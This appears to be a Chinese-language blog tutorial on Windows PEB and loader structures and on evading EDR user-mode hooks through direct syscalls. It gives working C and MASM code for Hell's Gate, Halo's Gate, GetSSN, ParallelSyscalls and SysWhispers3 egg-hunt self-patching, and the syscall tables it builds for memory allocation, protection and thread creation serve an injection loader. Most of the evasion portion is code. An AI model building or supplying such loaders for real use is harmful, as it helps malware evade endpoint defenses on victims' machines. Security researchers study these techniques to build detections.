2022年10月

  • PEB 结构


    进程环境信息块是一个内核分配给每个进程的用户模式结构,每个进程都会有从 ring0 分配给该进程的进程环境快,后续主要了解 __PEB_LDR_DATA 以及其他子结构。
    typedef struct _PEB_LDR_DATA {
      BYTE       Reserved1[8];
      PVOID      Reserved2[3];
      LIST_ENTRY InMemoryOrderModuleList;
    } PEB_LDR_DATA, *PPEB_LDR_DATA;
    

    image-20221023173226041
    这个图中 FS 段寄存器指向当前的 TEB 结构,PEB 在 TEB 的 0x30 偏移处。这里单独把 PEB 结构拿出来看:
    typedef struct _PEB {
        BOOLEAN InheritedAddressSpace;
        BOOLEAN ReadImageFileExecOptions;
        BOOLEAN BeingDebugged;
        BOOLEAN Spare;
        HANDLE Mutant;
        PVOID ImageBase;
        PPEB_LDR_DATA LoaderData;   // 0x0C offset,指向 PEB_LDR_DATA 结构
        PVOID ProcessParameters;
        PVOID SubSystemData;
        PVOID ProcessHeap;
        PVOID FastPebLock;
        PVOID FastPebLockRoutine;
        PVOID FastPebUnlockRoutine;
        ULONG EnvironmentUpdateCount;
        PVOID* KernelCallbackTable;
        PVOID EventLogSection;
        PVOID EventLog;
        PVOID FreeList;
        ULONG TlsExpansionCounter;
        PVOID TlsBitmap;
        ULONG TlsBitmapBits[0x2];
        PVOID ReadOnlySharedMemoryBase;
        PVOID ReadOnlySharedMemoryHeap;
        PVOID* ReadOnlyStaticServerData;
        PVOID AnsiCodePageData;
        PVOID OemCodePageData;
        PVOID UnicodeCaseTableData;
        ULONG NumberOfProcessors;
        ULONG NtGlobalFlag;
        BYTE Spare2[0x4];
        LARGE_INTEGER CriticalSectionTimeout;
        ULONG HeapSegmentReserve;
        ULONG HeapSegmentCommit;
        ULONG HeapDeCommitTotalFreeThreshold;
        ULONG HeapDeCommitFreeBlockThreshold;
        ULONG NumberOfHeaps;
        ULONG MaximumNumberOfHeaps;
        PVOID** ProcessHeaps;
        PVOID GdiSharedHandleTable;
        PVOID ProcessStarterHelper;
        PVOID GdiDCAttributeList;
        PVOID LoaderLock;
        ULONG OSMajorVersion;
        ULONG OSMinorVersion;
        ULONG OSBuildNumber;
        ULONG OSPlatformId;
        ULONG ImageSubSystem;
        ULONG ImageSubSystemMajorVersion;
        ULONG ImageSubSystemMinorVersion;
        ULONG GdiHandleBuffer[0x22];
        ULONG PostProcessInitRoutine;
        ULONG TlsExpansionBitmap;
        BYTE TlsExpansionBitmapBits[0x80];
        ULONG SessionId;
    } PEB, * PPEB;
    

    在 0x0c 偏移处执行的 PEB_LDR_DATA 结构包含了有关进程加载的模块的信息,在 PEB_LDR_DATA 中包含了三个双向链表,分别代表模块加载顺序,模块在内存中的加载循序以及模块初始化装载的顺序。
    typedef struct _PEB_LDR_DATA {
        ULONG Length;
        ULONG Initialized;
        PVOID SsHandle;
        LIST_ENTRY InLoadOrderModuleList;
        LIST_ENTRY InMemoryOrderModuleList;
        LIST_ENTRY InInitializationOrderModuleList;
    } PEB_LDR_DATA, * PPEB_LDR_DATA;
    

    其中双向链表的定义如下:
    typedef struct _LIST_ENTRY {
       struct _LIST_ENTRY *Flink;
       struct _LIST_ENTRY *Blink;
    } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
    

    每个双向链表都指向进程装载的模块,结构中的每个指针指向了一个 LDR_DATA_TABLE_ENTRY 结构。
    struct _LDR_DATA_TABLE_ENTRY
    {
        struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0
        struct _LIST_ENTRY InMemoryOrderLinks;                                  //0x8
        struct _LIST_ENTRY InInitializationOrderLinks;                          //0x10
        VOID* DllBase;                                                          //0x18 模块基址
        VOID* EntryPoint;                                                       //0x1c
        ULONG SizeOfImage;                                                      //0x20
        struct _UNICODE_STRING FullDllName;                                     //0x24 模块路径+名称
        struct _UNICODE_STRING BaseDllName;                                     //0x2c 模块名称
    ...
    };
    

    关于如何检索,微软提供了相关的 api:

    image-20221023182933098
  • R3 与 R0 通信


    调用 API 的过程实际上是调用某个 DLL 库,而这个 DLL 会调用在 ntdll.dll 中的 Native API 函数。例如当 kernel32.dll 中的 API 通过 ntdll.dll 执行时,会完成参数的检查工作,再通过中断调用内核态的 Nt* 系列函数。
    ntdll.dll 中的 Native API 函数时成对出现的,分别以 Nt 和 Zw 开头,它们本质上是一样的只是名字不同。使用 Zw* 系列的 API 可以避免额外的参数列表检查,提高效率。
    

    image-20221023192013427
    调用方式,xx 就是系统调用号,根据这个找到对应的处理函数。
    mov     r10,rcx
    mov     eax,xxh
    syscall
    

    image-20221023224946128
    分析一下 windows API 调用过程:
    #include <Windows.h>
    
    VOID WINAPI Thread(LPVOID lpParam)
    {
        MessageBoxW(0, 0, 0, 0);
    }
    
    int main() {
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Thread, 0, 0, 0);
        return 0;
    }
    

    image-20221023223845019
    从实验中可以看到 CreateThread 在进入内核前调用 ntdll.dll 中 NtCreateThreadex 函数,那么可以尝试直接调用这个函数来进行线程的创建,这个思路在之前的线程注入中用到过。但如果杀软对用户层下层(ntdll.dll) 也进行了监控(比如 inline hook)就不太行了。
  • syscall 免杀


    使用前提:
    不用 GetModuleHandle 找到 ntdll 的基址
    解析 DLL 的导出表
    查找 syscall number
    执行 syscall
    

    在 win10 中,除了 minimal 和 pico 进程外,所有用户态的进程默认情况下都隐式链接到 ntdll.dll,一般情况下 ntdll.dll 在内存中的第二个模块,kernel32.dll 在三个模块,然而有些杀软会改变内存中的模块顺序列表,因此我们需要先确定指向的内存模块是 ntdll.dll。
    在 R3 创建进程的时候,EDR 会 hook 用户层的相关 windows API 调用,从而完成对进程动态行为进行监控。在用户层的 hook 较于内核态的 hook 比较稳定,所以很多 EDR 会选择在用户层 hook,同时在内核层使用回调函数监控重要 api 调用。
    为了避免用户层被 EDR hook 的敏感函数检测到敏感行为,可以利用从 ntdll 中读取到的系统调用号直接进行系统调用,主要应对 EDR 在 R3 上的 hook。
    • 地狱之门(Hell's Gate)


      原理:通过直接读取进程的第二个导入模块(ntdll)解析其结构然后便利导出表,根据函数名 Hash 找到函数地址,将这个函数读取出来通过 0xb8 操作码动态获取对应的系统调用号,从而绕过内存监控。
      相当于对传统的 LoadLibrary + GetProcAddress 进行了更底层的重写。
      首先定义一个与 syscall 相关联的数据结构:_VX_TABLE_ENTRY 实际上每一个系统调用都需要分配这样的结构:
      typedef struct _VX_TABLE_ENTRY {
       PVOID pAddress;    // 指向内存模块的函数地址指针
       DWORD64 dwHash;    // 函数 hash,后续用于查找内存模块的函数
       WORD wSystemCall;  // 系统调用号
      } VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
      

      同时定义了更大的数据结构 _VX_TABLE 用于包含每一个系统调用的函数:
      typedef struct _VX_TABLE {
       VX_TABLE_ENTRY NtAllocateVirtualMemory;
       VX_TABLE_ENTRY NtProtectVirtualMemory;
       VX_TABLE_ENTRY NtCreateThreadEx;
       VX_TABLE_ENTRY NtWaitForSingleObject;
      } VX_TABLE, * PVX_TABLE;
      

      下面需要通过 PEB 的相关结构来动态获取系统调用号和函数地址来填充刚刚定义的数据结构,以便于实现自己的系统调用,这里通过 TIB(线程信息块)获取 TEB 再获取 TEB 的数据结构。
      # 在 Windows x64 中,TEB的寄存器换做了 GS 寄存器,使用[GS:0x30]访问
      NtCurrentTeb();
      // x86
      __readfsqword(0x18);
      // x64
      __readgsqword(0x30);
      

      在上文中也提到过,通过 __readgsword 或 __readfsword 获取 PEB。
      PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
      PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
      if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) {
       return 0x1;
      }
      PTEB RtlGetThreadEnvironmentBlock() {
      #if _WIN64
       return (PTEB)__readgsqword(0x30);
      #else
       return (PTEB)__readfsdword(0x16);
      #endif
      }
      # 最后还通过 PEB 的成员 OSMajorVersion 判断操作系统是否是Windows 10
      

      之后的操作就是遍历 PE 的导出函数,解析 PE 头然后找到 EAT。
      // Get NTDLL module 
      PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
      
      // Get the EAT of NTDLL
      PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
      if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
          return 0x01;
      

      成功获取 EAT 指针后现在需要填充之前定义的 _VX_TABLE,
      VX_TABLE Table = { 0 };
      Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
      GetVxTableEntry(ImageBase, ExportTable, &Table.NtAllocateVirtualMemory);
      
      Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
      GetVxTableEntry(ImageBase, ExportTable, &Table.NtCreateThreadEx);
      Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
      GetVxTableEntry(ImageBase, ExportTable, &Table.NtProtectVirtualMemory);
      
      Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
      GetVxTableEntry(ImageBase, ExportTable, &Table.NtWaitForSingleObject);
      

      源代码中实现了 Ntdll 中的四个函数,因此需要知道这四个函数的 Hash 以及 _VX_TABLE_ENTRY 结构体,这部分逻辑在 GetVxTableEntry 中实现:
      BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY ExporTable, PVX_TABLE_ENTRY pVxTableEntry)
      {
          PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + ExporTable-> AddressOfFunctions);
          PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + ExporTable->AddressOfNames);
          PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + ExporTable -> AddressOfNameOrdinals);
          // 遍历导出表的函数
          for (WORD cx = 0; cx < ExporTable->NumberOfNames; cx++)
          {
              PCHAR  pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
              PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
              // 比较 hash
              if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) 
              {
                  printf("[+]Function:%s Matched\n", pczFunctionName);
                  pVxTableEntry->pAddress = pFunctionAddress;
                  // 定位mov eax的操作码
                  if (*((PBYTE)pFunctionAddress + 3) == 0xb8) 
                  {
                      // 
                      BYTE high = *((PBYTE)pFunctionAddress + 5);
                      BYTE low = *((PBYTE)pFunctionAddress + 4);
                      // 系统调用号是 WORD 类型,两字节并且小端序
                      pVxTableEntry->wSystemCall = (high << 8) | low;
                      break;
                  }
              }
          }
      }
      

      最后通过一段宏汇编代码(MASM)来定义执行通过系统调用号调用 NT 函数的函数:
       wSystemCall DWORD 0h
      .code
       HellsGate PROC // 设置 Nt 函数的系统调用号
       mov wSystemCall, 0h
       mov wSystemCall, ecx
       ret
       HellsGate ENDP
       HellDescent PROC   // 模拟 Nt 函数的汇编
       mov r10, rcx
       mov eax, wSystemCall
       syscall
       ret
       HellDescent ENDP
      end
      

      定义的第一个函数 HellsGate 用来设置对应 Nt 函数的系统调用号,第二个函数 HellDescent 直接模拟系统调用来调用对应函数(和 ZwSetInformationFile 的汇编指令是一样的)。
      因此现在想要调用 Nt 函数的时候,利用之前得到的 EAT 对之前定义的数据结构进行填充:
      VX_TABLE Table = { 0 };
          Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
          if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtAllocateVirtualMemory))
          {
              printf("[-]GetVxTableEntry Failed!\n");
              return -1;
          }
          Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
          if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtCreateThreadEx))
          {
              printf("[-]GetVxTableEntry Failed!\n");
              return -1;
          }
          Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
          if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtProtectVirtualMemory))
          {
              printf("[-]GetVxTableEntry Failed!\n");
              return -1;
          }
          Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
          if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtWaitForSingleObject))
          {
              printf("[-]GetVxTableEntry Failed!\n");
              return -1;
          }
      

      到现在为止,我们想调用的 Nt 函数都有了唯一的 VT_TABLE_ENTRY,包含调用号、地址指针和 hash。然后用调用汇编的方式进行调用:
      image-20221024052337732
    • 光环之门(Halo's Gate)


      地狱之门的局限在于内存中的 ntdll 必须是默认你的,如果 ntdll 已经被修改过或者被 hook 过(汇编操作码不是 0xb8),那么就无法动态获取它的系统调用号。
      原理:EDR 不会 hook 所有的 Nt 函数,总会有不敏感的函数没有被 HOOK,因此在程序当中以 STUB_SIZE(长度 32)上下循环遍历,找到没有被 HOOK 的 STUB 后获取系统调用号再减去移动的步数,就是所要搜索的系统调用号。
      对应查找操作的汇编实现:
      halosGateUp PROC
          xor rsi, rsi
          xor rdi, rdi 
          mov rsi, 00B8D18B4Ch   ; bytes at start of NTDLL stub to setup syscall in RAX
          xor rax, rax
          mov al, 20h            ; 32 * Increment = Syscall Up
          mul dx                 ; RAX = RAX * RDX = 32 * Syscall Up
          add rcx, rax           ; RCX = NTDLL.API +- Syscall Stub
          mov edi, [rcx]         ; RDI = first 4 bytes of NTDLL API syscall stub, incremented Up by HalosGate (mov r10, rcx; mov eax, <syscall#>)
          cmp rsi, rdi
          jne error              ; if the bytes dont match then its prob hooked. Exit gracefully
          xor rax,rax            ; clear RAX as it will hold the syscall
          mov ax, [rcx+4]        ; The systemcall number for the API close to the target
          ret                    ; return to caller
      halosGateUp ENDP
      
    • TartarusGate


      对光环之门的加强,只检测第一个字节和第四个字节是否是 0xe9 来判断函数是否被 hook。
    • 欺骗之门(Spoofing-Gate)


      当使用 Hate's Gate / Hell's Gate 获取到 sysid 后,从 ntdll 中随机选择未用到的 Nt Api,替换其 sysid 为获取到的 sysid 即可直接 call。内置的 Nt api list 排除了 EDRs 项目中被 hook 的 api 和部分可能影响正常执行的 api,返回的结构体实现了 Recover 函数用于复原 sysid。
      但这个方法的缺点就是必须修改 ntdll,通常用 NtProtect+memcpy / WriteProcessMemory。
    • ParallelSyscalls


      使用 syscall 从磁盘中读取 ntdll,最后利用 LdrpThunkSignature 回复系统调用。同时实现了 dll 的并行加载,过程中运行进程递归映射通过进程模块导入表导入 dll 的过程。
      LdrpThunkSignature 调用实现:
      BOOL InitSyscallsFromLdrpThunkSignature()
      {
          PPEB Peb = (PPEB)__readgsqword(0x60);
          PPEB_LDR_DATA Ldr = Peb->Ldr;
          PLDR_DATA_TABLE_ENTRY NtdllLdrEntry = NULL;
      
          for (PLDR_DATA_TABLE_ENTRY LdrEntry = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;
              LdrEntry->DllBase != NULL;
              LdrEntry = (PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink)
          {
              if (_wcsnicmp(LdrEntry->BaseDllName.Buffer, L"ntdll.dll", 9) == 0)
              {
                  // got ntdll
                  NtdllLdrEntry = LdrEntry;
                  break;
              }
          }
      
          if (NtdllLdrEntry == NULL)
          {
              return FALSE;
          }
      
          PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)NtdllLdrEntry->DllBase + ((PIMAGE_DOS_HEADER)NtdllLdrEntry->DllBase)->e_lfanew);
          PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader);
      
          ULONG_PTR DataSectionAddress = NULL;
          DWORD DataSectionSize;
      
          for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++)
          {
              if (!strcmp((char*)SectionHeader[i].Name, ".data"))
              {
                  DataSectionAddress = (ULONG_PTR)NtdllLdrEntry->DllBase + SectionHeader[i].VirtualAddress;
                  DataSectionSize = SectionHeader[i].Misc.VirtualSize;
                  break;
              }
          }
      
          DWORD dwSyscallNo_NtOpenFile = 0, dwSyscallNo_NtCreateSection = 0, dwSyscallNo_NtMapViewOfSection = 0;
      
          if (!DataSectionAddress || DataSectionSize < 16 * 5)
          {
              return FALSE;
          }
      
          for (UINT uiOffset = 0; uiOffset < DataSectionSize - (16 * 5); uiOffset++)
          {
              if (*(DWORD*)(DataSectionAddress + uiOffset) == 0xb8d18b4c &&
                  *(DWORD*)(DataSectionAddress + uiOffset + 16) == 0xb8d18b4c &&
                  *(DWORD*)(DataSectionAddress + uiOffset + 32) == 0xb8d18b4c &&
                  *(DWORD*)(DataSectionAddress + uiOffset + 48) == 0xb8d18b4c &&
                  *(DWORD*)(DataSectionAddress + uiOffset + 64) == 0xb8d18b4c)
              {
                  dwSyscallNo_NtOpenFile = *(DWORD*)(DataSectionAddress + uiOffset + 4);
                  dwSyscallNo_NtCreateSection = *(DWORD*)(DataSectionAddress + uiOffset + 16 + 4);
                  dwSyscallNo_NtMapViewOfSection = *(DWORD*)(DataSectionAddress + uiOffset + 64 + 4);
                  break;
              }
          }
      
          if (!dwSyscallNo_NtOpenFile)
          {
              return FALSE;
          }
      
          ULONG_PTR SyscallRegion = (ULONG_PTR)VirtualAlloc(NULL, 3 * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      
          if (!SyscallRegion)
          {
              return FALSE;
          }
      
          NtOpenFile = (FUNC_NTOPENFILE)BuildSyscallStub(SyscallRegion, dwSyscallNo_NtOpenFile);
          NtCreateSection = (FUNC_NTCREATESECTION)BuildSyscallStub(SyscallRegion + MAX_SYSCALL_STUB_SIZE, dwSyscallNo_NtCreateSection);
          NtMapViewOfSection = (FUNC_NTMAPVIEWOFSECTION)BuildSyscallStub(SyscallRegion + (2* MAX_SYSCALL_STUB_SIZE), dwSyscallNo_NtMapViewOfSection);
      
          return TRUE;
      }
      
    • GetSSN


      另一种发现 syscall number 的方法而且不需要 unhook、不需要从代码存根中读取,也不需要加载 NTDLL 副本。这种方式可用的前提是:
      1.实际上所有的Zw函数和Nt同名函数实际上是等价的
      2.系统调用号实际上是和Zw函数按照地址顺序的排列是一样的
      

      因此我们就只需要遍历所有的 Zw 函数,记录其函数名和函数地址,最后将其按照函数地址升序排列后,每个函数的 SSN 就是其对应的排序顺序。
      int GetSSN()
      {
          std::map<int, string> Nt_Table;
          PBYTE ImageBase;
          PIMAGE_DOS_HEADER Dos = NULL;
          PIMAGE_NT_HEADERS Nt = NULL;
          PIMAGE_FILE_HEADER File = NULL;
          PIMAGE_OPTIONAL_HEADER Optional = NULL;
          PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
      
          PPEB Peb = (PPEB)__readgsqword(0x60);
          PLDR_MODULE pLoadModule;
          // NTDLL
          pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
          ImageBase = (PBYTE)pLoadModule->BaseAddress;
      
          Dos = (PIMAGE_DOS_HEADER)ImageBase;
          if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
              return 1;
          Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
          File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
          Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
          ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
      
          PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
          PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
          PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
          for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
          {
              PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
              PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
              if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
                 printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
                  Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
              }
          }
          int index = 0;
          for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
              cout << "index:" << index  << ' ' << iter->second << endl;
              index += 1;
          }
      }
      
    • SysWhispers2 / 3


      仅获取 syscall number,进入 R3 自己实现函数调用过程。具体实现是用 SW2_PopulateSyscallList,先解析 ntdll 中的 EAT,定位 Zw 开头的函数,最后按地址从小到大进行排序。
      在 3 中出现了新的 EGG 手法,先用垃圾指令代替 syscall,在运行时再从内存中找出来替换 syscall。
      这里的 egg hunt 使用 "DB" 来定义一个字节的汇编指令。
      NtAllocateVirtualMemory PROC
        mov [rsp +8], rcx          ; Save registers.
        mov [rsp+16], rdx
        mov [rsp+24], r8
        mov [rsp+32], r9
        sub rsp, 28h
        mov ecx, 003970B07h        ; Load function hash into ECX.
        call SW2_GetSyscallNumber  ; Resolve function hash into syscall number.
        add rsp, 28h
        mov rcx, [rsp +8]          ; Restore registers.
        mov rdx, [rsp+16]
        mov r8, [rsp+24]
        mov r9, [rsp+32]
        mov r10, rcx
        DB 77h                     ; "w"
        DB 0h                      ; "0"
        DB 0h                      ; "0"
        DB 74h                     ; "t"
        DB 77h                     ; "w"
        DB 0h                      ; "0"
        DB 0h                      ; "0"
        DB 74h                     ; "t"
        ret
      NtAllocateVirtualMemory ENDP
      

      但实际上用这种方式会报错,因为只是提供了 syscall 的调用和返回的堆栈,但是没有释放。后面用了 FindAndReplace 函数进行替换:
      void FindAndReplace(unsigned char egg[], unsigned char replace[])
      {
      
          ULONG64 startAddress = 0;
          ULONG64 size = 0;
      
          GetMainModuleInformation(&startAddress, &size);
      
          if (size <= 0) {
              printf("[-] Error detecting main module size");
              exit(1);
          }
      
          ULONG64 currentOffset = 0;
      
          unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
          size_t nBytesRead;
      
          printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);
      
          while (currentOffset < size - 8)
          {
              currentOffset++;
              LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
              if(DEBUG > 0){
                  printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
              }
              if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
                  printf("[-] Error reading from memory\n");
                  exit(1);
              }
              if (nBytesRead != 8) {
                  printf("[-] Error reading from memory\n");
                  continue;
              }
      
              if(DEBUG > 0){
                  for (int i = 0; i < nBytesRead; i++){
                      printf("%02x ", current[i]);
                  }
                  printf("\n");
              }
      
              if (memcmp(egg, current, 8) == 0)
              {
                  printf("Found at %llu\n", (ULONG64)currentAddress);
                  WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
              }
      
          }
          printf("Ended search at:   0x%llu\n", (ULONG64)startAddress + currentOffset);
          free(current);
      }
      

      使用方式:
      int main(int argc, char** argv) {
      
          unsigned char egg[] = { 0x77, 0x00, 0x00, 0x74, 0x77, 0x00, 0x00, 0x74 }; 
          // w00tw00t
          unsigned char replace[] = { 0x0f, 0x05, 0x90, 0x90, 0xC3, 0x90, 0xCC, 0xCC }; 
          // syscall; nop; nop; ret; nop; int3; int3
      
          //####SELF_TAMPERING####
          (egg, replace);
      
          Inject();
          return 0;
      }
      

      但是 EDR 不仅会检测 syscall 的字符,还会检测 syscall 执行特定指令的位置。也就是说本来 syscall 是要从 ntdll 中执行的,但我们的方式会直接在程序的主模块中执行。
      image-20221024081651133
      image-20221024081655871
      RIP 指向的不同为 EDR 提供了特征。针对于这种检测,可以在运行时候从内存中动态找出替换 syscall。
      首先添加一个 ULONG64 字段来存储 syscall 指令绝对地址,当 __SW2_SYSCALL_LIST 被填充时,计算 syscall 指令的地址。在这种情况下,已经有了 ntdll.dll 基地址,SysWhispers 从 DLL EAT 中计算 RVA,最后就可以 jmp syscall<address>,所以只需要计算 syscall 指令的相对位置即可。
      function findOffset(HANDLE current_process, int64 start_address, int64 dllSize) -> int64:
        int64 offset = 0
        bytes signature = "\x0f\x05\x03"
        bytes currentbytes = ""
        while currentbytes != signature:
          offset++
          if offset + 3 > dllSize:
            return INFINITE
          ReadProcessMemory(current_process, start_address + offset, &currentbytes, 3, nullptr)
        return start_address + offset 
      

       
  • 参考文献